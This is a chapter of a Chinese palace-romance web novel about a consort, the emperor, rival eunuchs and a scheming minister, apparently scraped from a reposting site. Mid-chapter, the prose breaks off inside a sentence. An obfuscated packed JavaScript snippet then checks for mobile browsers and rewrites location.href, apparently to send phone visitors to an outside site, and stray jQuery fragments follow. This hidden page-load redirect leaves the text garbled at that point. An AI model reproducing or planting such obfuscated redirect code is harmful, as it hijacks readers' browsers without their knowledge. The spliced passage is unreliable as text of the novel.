129. 第 129 章

作品:《我的竹马暴君小可怜

    元香做好了上刑场的准备,但让她没想到的是,这回的感觉比之前不止好一星半点。明明这家伙还是很激动来着,但她就是……,用一句话说,就是挺让人想再来一回的。


    元香很想知道究竟怎么一回事,于是在陛下翻身打算歇息后,又拉着陛下研究了半天。


    “陛下知道怎么一回事?让臣妾仔细瞧瞧。”


    “这里面流出来的莫非有毒?陛下别躲呀,臣妾下手有分寸。陛下躲才糟糕呢,别不小心再给陛下拉坏了,臣妾可不赔啊。”


    莫骄头埋在被中,不说话,也不再动弹一下。


    寝殿外。


    高三全和苦连一脸担忧排排站着。高三全见苦连脸上不复从前的从容,心里得意。


    看来他们也没什么区别嘛。陛下被香妃娘娘拿捏,他不还是照样没办法。


    高三全故意问:“陛下会不会有事,杂家真是担心,要不然苦连公公进去劝着点?”


    他又解释:“倒不是杂家不去,实是杂家见苦连公公似乎和娘娘更说得上话。苦连公公说呢?”


    苦连:“奴才相信娘娘是有分寸的,定然不会伤了陛下。奴才建议高公公也不要去为妙。”


    高三全心里更得意了。黑心莲说什么相信,怕是不敢吧。


    看来黑心莲和香妃娘娘也没那么熟,还不是因为怕被香妃娘娘责骂,从而失宠。


    目的达到,高三全也不再说话,专心听里头动静。再晚半个时辰,里头还不歇,他必定是要冲进去的。


    黑心莲不敢,他敢。他是绝对不能眼睁睁看着陛下被折腾坏的。


    ...


    第二日,元香听到了一个消息。许望之没赶上上早朝,他在路上被人劫了车,还被狠揍了一顿。


    至于谁揍的,还要查。许望之当日告到了京兆府,京兆府让他回去等消息。


    没两日,凶手落网,是一伙旧案在身的流民。


    许望之压根不信,流民哪可能有那么好的身手,从他的暗卫手里将他劫走。那伙人训练有素,明显是冲他而来的。


    但京兆府尹咬定说凶手就是流民,还拿出了流民认罪书。许望之提出要去牢里审问流民的当夜,牢里发生大火,死了大半犯人中就包括那几个流民。


    京兆府尹被许仆射缠的没办法,就问:“不知仆射大人以为凶手是何人?下官这就去拿人来。”


    许望之总不能说他怀疑陛下吧。就算他拿出证据证实是陛下害自己,他也不信京兆府尹敢去拿陛下。


    其实他早料到是这样的结果,只是他气不过,想利用京兆府尹,揭开陛下伪善的面目。好让元香,好让京都城的百姓都知道陛下的改变都是假的。


    可那是一手遮天的骄皇,细胳膊又如何能够拧过大腿。


    许望之郁闷了许久,一直到想到元香跟着他远走高飞。等到那一日,伤心无能的可就是骄皇陛下了。


    他又痛快笑起来。


    当这天下之主又如何,还不是照样痛失所爱孤独终老?


    更说不定,再过两年,被群起而攻之,性命都难保。


    许望之都要怀疑元香是假装的不知道!


    她明明都见到苦连了,照理该认出骄皇是谁才对。究竟哪里出了问题?


    他得知元香就是元隆之女,知道骄皇瞒着元香两人儿时相识的事,而元隆又拒绝救女后,许望之就开始想各种能让元香识破骄皇的办法。


    他早前便得知骄皇身边的心腹内侍苦连出去为骄皇办差,细查,又得知苦连曾经是高府的下人,自进府就在骄皇身边伺候。


    他一下想到苦连怕是认得元香。于是设计将苦连骗回宫。


    他特意买通人在路上抢了苦连,这样苦连无法提前送信回宫,而进宫时,势必也更引人注目。


    他知道,骄皇肯定有所准备,不让苦连进宫。苦连有腰牌也没用。


    而苦连没了腰牌,肯定费尽心思证明自己。


    而元香最近几日又日日来宫门前看禁卫军操练,必定能发现苦连。


    他样样都算准了。可就没想到元香看到了苦连,竟也没想起来骄皇就是当年住在高府的傀儡太子。


    许望之很不想怀疑元香,但这世上会有这么蠢的人吗?


    如今,他是万万不可能再见到元香的。只有另想对策,让元香发现一切都是骄皇在欺骗她。


    只要她知道,一定会离骄皇而去,说不定还会一气之下杀了骄皇。


    “那宫女还有说什么?”


    管家:“她想让高三全玄旺离心骄皇,说是需要公子配合。”


    许望之轻嗤:“高三全和玄旺又怎么可能?”


    管家:“据老奴所知,陛下可最看重苦连公公。如今苦连公公回到陛下身边,其他人被压一头,倒也不是没可能。”


    许望之一想,觉得也是道理。“且让她试试吧。你和她说,我只要元香,她想办法让元香出宫,任何要求我都答应。”


    “老奴知道怎么做。”


    ...


    被淋成落汤鸡,众叛亲离,又遭匪贼。


    哎,元香不得不感叹许仆射命运多舛哪。


    这难道就是恶人有恶报?


    “匪贼干嘛攻击他?好端端的,不攻击别人,就攻击他?”


    赏茶:“会不会是许仆射树敌太多?”


    元香摆摆手指:“他纯属运气不佳。谁让他缺德呢。”


    默默坐在一旁喝茶的陛下嘴角弯弯。谁说不是呢,那的确是个缺德的东西。


    “苦连,将式乾殿的折子都拿过来。”


    “是,奴才这就去。”


    莫骄听到声音,抬眼:“苦连呢?”


    高三全躬身道:“刚还在呢,这会儿……兴许吃坏了肚子走开了。让奴才去帮陛下取吧。”


    莫骄:“不必。等苦连回来,让苦连亲自去。”


    高三全只好应是。心里将苦连从头到脚骂了顿。


    半个时辰后。


    苦连身后两个小内侍捧着折子,而他手里捧着一个长盒子。


    苦连站着不动,高三全只好忍着气默默退开,容苦连过去。


    高三全站在小内侍一道,看着苦连掀开红布,里头竟是一把精巧细致的宝剑。高三全震惊了。陛下何时藏了这么一个东西,他怎么不知道?


    他不知道,苦连却知道。


    高三全觉得嘴巴发苦,一时不知道作何感想。


    “送给臣妾的?”


    莫骄点头:“喜欢吗?”


    “喜欢。这剑够轻的,能杀敌吗?”元香掂量着剑身,一口气耍了六个剑花。


    “这是拿来给爱妃耍着玩的。”


    元香眼睛大亮:“陛下是知道臣妾要生小皇子,不能拎重兵器,特地命人寻来的轻宝剑吧?陛下真是有心了。”


    莫骄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464943|148429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑着纠正她:“爱妃又没怀小皇子。只不过是保养身体,那也是不能太劳累的。这剑刚好合适。爱妃喜欢吗?”


    “臣妾喜欢,以后臣妾不论走到哪都会带着它的。”说着,将剑往腰间一别,转圈问三只茶和苦连:“娘娘我如何,像不像个仗剑走天涯的女大侠?”


    三只茶当然拍手称赞。


    苦连笑看着,却没应声,片刻转头瞧陛下。果见陛下笑容浅淡。


    苦连走到陛下身边:“娘娘的意思是,她在宫里也会随身带着陛下送的宝剑。毕竟皇宫大着呢。”


    莫骄恍惚:“真的吗?”


    苦连:“奴才确定。”


    你确定个屁!搞不好香妃就是要出宫的意思。


    明明同样的话,他说起来,陛下总不信,换他苦连,陛下就深信不疑。他还以为苦连离开两年,回来肯定没他的位置了呢。


    没想到,现在比过去更吃得开。


    苦连要是在,这辈子将无出头机会。


    “咦,高公公怎么在发抖,这是着凉了?”


    高三全当然是气的,听到香妃的话,他握紧的拳一下松开,赔笑脸解释:“奴才的确有些着凉,谢娘娘关怀。”说着,还咳了两下。


    苦连站在陛下身侧,瞥眼说:“陛下,高公公既然病了,不如就让高公公歇息两日。反正有奴才在陛下身边。”


    莫骄一脸嫌弃说:“既着凉还不快退下,要是传染了香妃,朕饶不得你。”


    高三全委委屈屈道是,迅速磕头退下。


    元香想劝来着,苦连在一旁说:“娘娘,这不过是个奴才,您不必太心软,要各个没了规矩,那才糟糕。”


    元香想说他可是大太监,也没犯什么错,受这么大的屈辱好吗?


    晚上时,元香劝陛下:“那可是身边人,万一他一气之下,要害陛下,防不胜防。臣妾的意思是,以后还是对他们都温柔些,就像对臣妾那样,可好?”


    莫骄一点不放在心上的样子:“爱妃不必替朕忧心,朕身边又不止这一个奴才。要朕这么容易出事,当初朕也不会寻路无门。”


    陛下的话元香一下听懂了。他是说他当初自戕来着,结果失败了无数次。陛下身边要这么容易被攻破,那他绝活不到现在。


    元香觉得也是。当下也不担心了。


    但她没想到的是,玄旺竟然也被罚了。


    这次比往常罚的都狠。陛下还想撤他的禁卫军统领一职,给新上任的副统领。


    元香特意打听了怎么一回事,才知道玄旺忤逆陛下,私自将原本要进宫面圣的几个官员挡在了宫门口,还是第二日上朝,官员告状,陛下才得知。


    此事,玄旺可不是第一回干,从前陛下生无可恋,随他折腾。但今时不同往日,陛下如今想好好当他的陛下,当然不允许他乱来。


    陛下只质问玄旺,玄旺还死不悔改,嘴硬说都是为了陛下着想。陛下一气之下,就将人罚了。


    “要不是无人可用,朕又岂会等到眼下。玄旺的心早大了,他怕是想凌驾在朕头上。今日不罚,日后等他壮大,怕是比外面所有的起义团都可怕。”


    这也算是国事,元香也不好劝,于是叹着气,没和陛下多聊此事。


    最后,陛下还是看在玄旺这些年英勇守卫的份上,没有撤他的职,只让他和副统领调换下,让他降职当了副统领。


    玄旺什么话也没说。